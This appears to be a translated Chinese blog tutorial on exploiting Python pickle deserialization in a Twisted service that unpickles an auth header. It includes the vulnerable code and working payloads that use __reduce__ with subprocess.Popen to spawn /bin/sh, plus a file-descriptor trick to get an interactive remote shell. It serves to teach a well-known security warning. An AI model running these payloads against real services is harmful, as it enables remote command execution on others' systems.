误用Python “pickle”模块导致exploit
误用Python “pickle”模块导致exploit 如果使用Python编程,你可能会对pickle序列化库有印象。它的主要功能是有效提供二进制数据的序列化以及Python数据类型的加载。你也可能注意到pickle官方手册开头给出的警告: Warning: The pickle module is not intended to be secure against erroneous or
误用Python “pickle”模块导致exploit
如果使用Python编程,你可能会对pickle序列化库有印象。它的主要功能是有效提供二进制数据的序列化以及Python数据类型的加载。你也可能注意到pickle官方手册开头给出的警告:
Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.(警告:pickle模块不能防止错误或恶意构造的数据。 不要解压从不受信任或未经身份验证的来源所收到的数据。)
近来,我遇到了一个可以接收不受信任的网络数据并将其进行pickle解压的项目。并且在进行调查后,我发现只有少部分的朋友知道可以很轻松的攻击此类服务以获得权限。因此,本篇文章主要是通过一个简化版的示例来描述攻击此类服务有多容易。这篇文章没有太多的创新点,但是如果你之前没有碰过此类情景的话,应该会觉得很有趣。
目标
漏洞代码是一个Twisted服务代码,它通过SSL实现监听。漏洞代码简化如下:
class VulnerableProtocol(protocol.Protocol):
def dataReceived(self, data):
"""
Code to actually parse incoming data according to an internal state machine If we just finished receiving headers, call verifyAuth() to check authentication
"""
def verifyAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthenticationFailed
self.secure_data = token['data']
except:
raise AuthenticationFailed
如果我们使用以下的格式发送的代码,服务器就会将数据直接进行解压:
AuthToken: <pickle here>
代码执行
我们可以使用这段代码来干什么?pickle允许我们用数据表示任意对象。一个很容易想到的目标就是subprocess.Popen对象,如果我们可以欺骗目标去实例化这个对象,那么我们就可以获得任意命令执行。为了实现这个目的,我们不能简单的创建一个Popen对象,然后使用pickle去压缩它。因为各种原因,它并不能成功。还有一种方法是去阅读pickle数据的格式,然后手工去构造一个数据流,但是经过实践证明也没有这个必要。
pickle允许任意对象通过定义__reduce__方法来声明它是如何被压缩的,一般来说这个方法是返回一个字符串或是一个元祖,用来描述对象在被解压缩之时如何重构对象。比较简单的该方法的元祖需要包括以下性质:
- 回调函数(是一个类或者满足一些其他的约束)
- 调用之时所包含的参数元祖
pickle会在解压数据时,将这些片段参数组合起来,再调用回调函数来重构新的对象。
因此我们可以构造一个pickle数据对象,使得该对象在解压市,执行/bin/sh,代码如下:
import cPickle
import subprocess
import base64
class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))
获得远程shell
写到这里,已经基本结束了。我们已经可以在目标上执行任意命令,当然也有很多方式来获得一个交互式的shell。
为了使文章更完整,我将会阐述我是如何通过一个比较有趣的技巧来具体实现获得交互式shell的。subprocess.Popen库允许我们通过参数的传递,将新进程的标准输入、输出以及错误句柄重定向到任意文件描述符,通过这个方式我们可以重定向/ bin/sh的句柄到任意的文件描述符上。
但是还有一个问题,那就是前面提到过的:目标服务器使用Twisted,它使用异步事件驱动模型来为同一线程中的所有请求提供服务。 我们无法预测服务器上的哪个文件描述符将与我们的套接字相对应,它取决于连接的其他客户端数量。
解决的方法是:这也意味着每次我们连接到服务器时,我们都会在同一服务器进程中打开一个新的套接字。 我们猜测服务器目前的并发连接数少于20个。 如果我们创建20次到服务器的套接字连接,就会在服务器中打开20个新的文件描述符。 进程中的文件描述符是按顺序分配的,所以其中有一个肯定是20。我们就可以生成一个pickle数据,然后发送以顺利获得shell:
import cPickle
import subprocess
import base64
class Exploit(object):
def __reduce__(self):
fd = 20
return (subprocess.Popen,
(('/bin/sh',), # args
0, # bufsize
None, # executable
fd, fd, fd # std{in,out,err}
))
print base64.b64encode(cPickle.dumps(Exploit()))
我们使用文件描述符20来创建一个新的/bin/sh进程,这个描述符应该会是我们创建的20个连接中的一个。如果一切顺利,我们会看到一个提示符打印到其中一个连接。我们在该句柄上发送一些垃圾数据,直到让原始服务器出错并关闭连接,然后我们将通过套接字与/bin/sh交互。至此,游戏结束。
小结
这里的任何内容都不应该是新颖的,我也不期望任何的这些内容能够让一个能干的黑客花费很长的时间来弄明白。 但是,如果这篇博客文章能够使得看到的人不在不受信任的数据上使用pickle,这就是值得的。